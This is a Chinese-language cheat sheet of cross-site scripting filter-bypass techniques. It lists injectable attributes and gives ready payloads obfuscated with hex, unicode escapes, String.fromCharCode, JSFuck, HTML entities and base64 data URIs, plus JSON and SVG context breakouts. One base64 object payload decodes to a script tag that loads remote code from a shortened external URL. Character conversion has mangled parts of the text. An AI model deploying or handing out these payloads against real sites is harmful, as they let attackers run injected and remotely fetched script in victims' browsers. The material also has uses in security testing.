JS函數(如eval,settimeout)還有就是href= action= formaction= location= on*= name= background= poster= src= code=這些地方,能夠配合編碼。此外,data屬性能夠base64編碼。

1.js16進制

<script>eval(「js+16進制加密」)</script> <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script> 編碼要執行的語句↓
Alert(「xss」)

2.js unicode

<script>eval("unicode加密")</script> //js unicode加密 解決alert()被過濾
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

3.String.fromCharCode函數(不須要任何引號,必須函數內)

<script>eval(String.fromCharCode編碼內容))</script> <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

4.jsfuck版本

<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>

5.HTML編碼:

<img src='1' onerror='aler&#x0074;(1)'>

6.base64編碼(僅data支持)

     <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
     格式:
     Data:<mime type>,<encoded data>
     Data                //協議
     <mime type>         //數據類型
     charset=<charset>   //指定編碼
     [;base64]           //被指定的編碼
     <encoded data>      //定義data協議的編碼
     特色:不支持IE
    • 存在json數據解析 context: <?=json_encode($_GET['x'])?>
    • payload: ?x=<img+src=x+onerror=ö-alert(1)>
    • SVG 標籤

當返回結果在 svg 標籤中的時候,會有一個特性 <svg><script>varmyvar="YourInput";</script></svg> YourInput 可控,輸入 www.site.com/test.php?var=text";alert(1)// 若是把 「 編碼一些他仍然可以執行: <svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

  • 參考

《XSS測試備忘錄》http://momomoxiaoxi.com/2017/10/10/XSS/

(360安全客)深刻理解瀏覽器解析機制和XSS向量編碼

WEBKIT中的HTML詞法解析 https://blog.csdn.net/dlmu2001/article/details/5998130

相關文章
相關標籤/搜索